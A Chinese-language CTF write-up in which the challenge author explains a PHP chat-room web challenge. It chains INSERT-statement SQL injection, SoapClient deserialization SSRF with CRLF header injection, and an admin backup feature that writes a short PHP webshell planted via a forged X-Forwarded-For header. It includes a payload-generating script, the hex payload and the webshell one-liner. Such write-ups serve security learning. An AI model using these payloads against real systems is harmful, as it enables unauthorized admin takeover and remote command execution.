二仙桥flag py群 WP

这是第一届信安大挑战Web压轴题,二仙桥flag py群的writeup

出题思路

当时就想出一个比较综合的题,当成压轴题,同时在找前端轮子的时候看到一个聊天室,于是就有了这个题,出题过程中还是非常有趣的,现有的漏洞点也是开发人员常犯的错误(就是我犯的错误)。

前端用现有的框框改了改,后端全部重构,出这个题前后用了3,4天的时间。从比赛的情况来看,没有人做出来,不知道是太难了还是不敢做。但是我希望下来能够再看看这个题,可以读一读后端的代码,试着复现一遍。题目环境还会保持运行一段时间。

先看看整个网站的功能和结构

先看看功能

进入题目有注册登录界面,注册之后登陆上去是一个聊天室,可以发送信息。下方有管理员界面,点开需要登录,尝试登录被告知需要本地才能登陆。

ok,知道了所有的功能,我们现在的目的肯定是要登录到管理员页面。

再读读源码

整体的代码结构如下:

其中,classes.php定义了三个类

其中,Content类就是发送的消息的结构,Db是数据库操作相关类,Api是后端和前端交互的api类,包括登录注册、消息发送获取等等

funcitons.php定义了一些函数,包括token的设置和检查、用户注册时添加的内容、检查登录状态、获取ip、以及将数据库中的消息数据转换格式

找找可能漏洞点

我们已经知道,用户和后端进行交互主要动作都是通过api.php来进行的,而api.php是实例化的classes.php中的Api类。所以,重点看看Api这个类。

先看看registerlogin这两个注册登录函数,他们在查询拼接进sql语句之前,都使用了addslashes函数将危险字符转义,所以这个地方应该没有问题。

之后还有sendmsg函数,他们分别是用来发送和获取消息的。

msg中唯一可控的参数kintval强制转换成了int类型,所以也没法注入了。

再看看send。可控部分有$_SESSION['username']$_POST['msg'],但是$_SESSION['username']也被addslashes过滤了特殊字符。值的注意的是$_POST['msg']只经过了htmlspecialchars的处理,好像有戏。

分析一下关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$username = addslashes($_SESSION['username']);   // 将危险字符转义
$response = array(
'name' => $username,
'key' => $_SESSION['key'],
'msg' => mb_substr(htmlspecialchars($_POST['msg']), 0, 700, 'utf-8')
);
$content = new Content(); // 实例化一个消息类
$content->copy($response); // 赋值消息的内容
$this->db->insert( // 插入数据库
'contents',
['content', 'owner'],
[serialize($content), $username]
);

可以看看Db的insert是怎样定义的

1
2
3
4
5
6
7
8
public function insert($table, $columns, $values)
{
$value = "('" . implode("','", $values) . "')";
$column = $this->column($columns);
$sql = 'insert into ' . $table . '(' . $column . ') values ' . $value;
$res = $this->pdo->query($sql);
return $res;
}

所以这里插入数据库的语句应该为:

1
insert into contents (`content`,`owner`) values(serialize($content), $username)

这个sql语句我们可以控制的部分是serialize($content)$username,刚刚说了username没有办法利用,所以重心放在了serialize($content)上。

测试一下

可以看到我们是可以插入单引号到serialize($content)中的,这就是注入点。

OK,sql注入+1,这里是insert语句中的sql注入。

回到开始,我们想要的是登录进入管理员后台,来看一看管理员登录的api

可以看到,只能本地登录,且密码写死了是password,如果想要登录的话只能寻找ssrf漏洞来发起登录请求。

找寻一番过后,没有找到ssrf漏洞。

但是,在刚刚发送消息的时候有一个serialize的操作,那么必然有反序列化,有一定经验的就知道,反序列化可以利用SoapClient反序列化来ssrf(但也必须要执行__call这个魔法函数)

于是找寻反序列化的地方,在functions.php的arr2content中找到了反序列化的地方,而且,反序列化之后的对象会执行json方法,这也满足了ScapClient执行__call这个条件。

SSRF漏洞+1

开始利用漏洞打

先理一理漏洞利用链:

① 首先利用insert注入插入一条我们自己构造的SoapClient类序列化后的字符串

② 利用反序列化之后的json方法来触发SoapClient的__call方法,从而发起请求,导致ssrf

③ 利用ssrf发起admin_login的请求,将我们的session设置成admin状态

④ 使用admin状态的session访问管理员后台界面即可

开始干活

  1. 写发起admin_login请求的SoapClient类,并将其序列化。

    需要注意的是,我们传入的$_POST['msg']会经过htmlspecialchars处理,所以双引号会被实体化,解决办法是将字符串用16进制的形式表示。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php

    class Content
    {
    public $data;
    }

    $target = 'http://127.0.0.1/api.php?c=admin_login';
    $post_string = 'pass=password';
    $headers = array(
    'Cookie: PHPSESSID=admin'
    );
    $user_agent = 'a^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string;
    $options = array(
    'location' => $target,
    'user_agent' => $user_agent,
    'uri' => "a"
    );
    $b = new SoapClient(null, $options);
    $payload = serialize($b);
    $payload = str_replace('^^', urldecode('%0d%0a'), $payload);
    echo bin2hex($payload);

    运行结果为:4f3a31303a22536f6170436c69656e74223a353a7b733a333a22757269223b733a313a2261223b733a383a226c6f636174696f6e223b733a33383a22687474703a2f2f3132372e302e302e312f6170692e7068703f633d61646d696e5f6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31313a225f757365725f6167656e74223b733a3131323a22610d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6f6b69653a205048505345535349443d61646d696e0d0a436f6e74656e742d4c656e6774683a2031330d0a0d0a706173733d70617373776f7264223b733a31333a225f736f61705f76657273696f6e223b693a313b7d

  2. 发送消息时利用insert注入插入刚刚的序列化字符串

  3. 使用msg这个api让其执行arr2content这个函数,触发反序列化并触发ssrf,带着我们的cookie去登录。

  4. 带上设置的cookie访问后台页面,就可以发现已经是管理员了。

进入管理后台,继续寻找利用点

管理员后台有一个数据备份的功能

保存后会返回备份文件的路径

可以直接访问并下载sql文件,文件内容是数据库的备份文件。

尝试改将其保存为php文件呢?好像不行?

看看代码,可以发现其实是保存为你输入的名字,但是为什么返回的是shell.sql呢?

看看前端代码,知道为什么了吧

OK,我们自己发起请求

成功写入了!

到这里我们已经可以写入php文件了,那么只要数据库中的一部分我们能写成php代码就可以getshell。

观察先前下载的backup.sql,发现只有两个部分可以控制,分别是用户名和ip地址

这里的用户名经过了htmlspecialchars处理,<会被实体化,且长度有限制,不可用。注意力看向ip地址。

插入ip地址是在用户注册的时候

看一看是怎么获取ip的

很明显可以伪造,但是长度有限制。

得想一个长度小于15的马,这里提供一个

1
<?=`$_GET[1]`?>

新注册一个用户,将其X_Forwarded_For头设置成上面的一句话,之后再备份一遍,就可以拿到一个shell

之后利用这个shell即可执行命令

之后cat /flag即可获得flag

后记

这个题难点在于寻找到insert注入并且想到利用反序列化原生类来ssrf。

其实,拿到管理员后台之后getshell方法并不止上面那一种,感兴趣可以尝试别的方法(方法还很多)

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/11/15/writeup/二仙桥 flag py群/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog